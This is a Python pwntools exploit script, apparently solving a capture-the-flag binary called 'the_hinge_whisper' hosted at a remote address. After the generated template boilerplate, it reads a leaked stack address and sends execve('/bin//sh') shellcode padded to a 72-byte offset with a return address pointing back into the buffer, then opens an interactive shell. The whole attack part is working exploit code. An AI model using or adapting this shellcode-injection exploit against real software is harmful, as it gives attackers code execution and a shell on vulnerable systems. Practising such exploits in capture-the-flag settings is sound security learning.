#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 8000 --no-auto ./the_hinge_whisper
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './the_hinge_whisper')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '154.57.164.79'
port = int(args.PORT or 32400)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
breakrva 0x1245
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      No canary found
# NX:         NX unknown - GNU_STACK missing
# PIE:        PIE enabled
# Stack:      Executable
# RWX:        Has RWX segments
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No

io = start()

shellcode = bytes.fromhex('4831c05048bf2f2f62696e2f7368574889e74831f64831d2b03b0f05')

offset = 72

io.recvuntil(b'The keyway sits at: ')
ret = io.recvline()
start_buf = int(ret.decode().strip(), 16)

payload = shellcode + b'a' * (offset - len(shellcode)) + p64(start_buf)

io.sendlineafter(b'latch-key: ', payload)

io.interactive()